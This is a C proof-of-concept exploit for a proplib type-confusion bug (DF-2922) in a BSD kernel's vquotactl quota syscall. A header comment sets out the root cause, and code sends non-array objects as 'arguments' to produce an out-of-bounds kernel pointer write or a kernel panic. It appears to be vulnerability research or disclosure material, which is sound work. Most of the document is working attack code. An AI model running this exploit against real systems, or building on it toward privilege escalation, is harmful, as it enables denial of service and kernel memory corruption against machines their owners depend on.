/*
 * DF-2922 proof-of-concept: proplib type confusion in sys_vquotactl /
 * cmd_set_usage_all() -> prop_array_iterator().
 *
 * sys/kern/vfs_quota.c:385 passes the user-controlled "arguments" prop
 * object to cmd_set_usage_all(), which at vfs_quota.c:242 calls
 * prop_array_iterator(args) WITHOUT checking that args is an array.
 *
 * prop_array_iterator() (sys/libprop/prop_array.c:538) executes
 *     mtx_lock(&pa->pa_rwlock)
 * BEFORE any type check (the prop_object_is_array() check is inside
 * _prop_array_iterator_locked(), i.e. after the lock).  For a non-array
 * object the "mutex" aliases other fields of the real object:
 *
 *   arguments = <false/>  (static struct _prop_bool _prop_bool_false):
 *        pa_rwlock aliases pb_value (== 0)  -> fast path succeeds ->
 *        mtx_owner=curthread is written at _prop_bool_false+24, i.e.
 *        8 bytes PAST the end of the global (plus a NULL write on
 *        unlock).  Silent out-of-bounds write of a kernel pointer.
 *
 *   arguments = <string>s</string> or <true/> (mtx_lock word != 0):
 *        __mtx_lock_ex() slow path -> writes MTX_EXWANTED|MTX_LINKSPIN
 *        into the aliased word (low 32 bits of ps_mutable / pb_value),
 *        stores a stack pointer into mtx_exlink (rbe_parent for
 *        numbers), then mtx_wait_link() -> tsleep() WHILE HOLDING the
 *        mount's ac_spin spinlock -> lwkt_switch() KASSERT
 *        "still holding exclusive spinlocks" -> kernel panic.
 *
 * Usage: typeconfuse <path> <string|false|true|number|dict|bignum>
 */
#include <sys/vfs_quota.h>
#include <libprop/proplib.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

static int
send(const char *path, prop_object_t args)
{
	prop_dictionary_t dict, res;
	struct plistref pref;
	int error;

	dict = prop_dictionary_create();
	prop_dictionary_set_cstring(dict, "command", "set usage all");
	prop_dictionary_set(dict, "arguments", args);

	error = prop_dictionary_send_syscall(dict, &pref);
	if (error) {
		fprintf(stderr, "send_syscall: %d\n", error);
		return 1;
	}
	error = vquotactl(path, &pref);
	/* if the kernel panics or wedges we never get here */
	printf("vquotactl returned %d (errno=%d %s)\n",
	    error, errno, strerror(errno));
	if (error == 0) {
		prop_dictionary_recv_syscall(&pref, &res);
		printf("syscall completed normally\n");
	}
	return 0;
}

int
main(int argc, char **argv)
{
	const char *path, *mode;
	prop_object_t args;

	if (argc != 3) {
		fprintf(stderr, "usage: %s <path> <string|false|true|number|dict|bignum>\n",
		    argv[0]);
		return 2;
	}
	path = argv[1];
	mode = argv[2];

	if (strcmp(mode, "string") == 0) {
		args = prop_string_create_cstring("DF-2922-type-confusion");
	} else if (strcmp(mode, "false") == 0) {
		args = prop_bool_create(false);
	} else if (strcmp(mode, "true") == 0) {
		args = prop_bool_create(true);
	} else if (strcmp(mode, "number") == 0) {
		args = prop_number_create_integer(31337);
	} else if (strcmp(mode, "bignum") == 0) {
		/* fresh leaf in the intern tree: exercises fast path */
		args = prop_number_create_unsigned_integer(0x5151522200000001ULL);
	} else if (strcmp(mode, "dict") == 0) {
		/* control: same-shape object, rwlock at same offset -> clean */
		prop_dictionary_t d = prop_dictionary_create();
		prop_dictionary_set_uint64(d, "space used", 12345);
		args = d;
	} else {
		fprintf(stderr, "unknown mode %s\n", mode);
		return 2;
	}
	if (args == NULL) {
		fprintf(stderr, "object creation failed\n");
		return 1;
	}
	printf("mode=%s path=%s pid=%d\n", mode, path, getpid());
	fflush(stdout);
	return send(path, args);
}
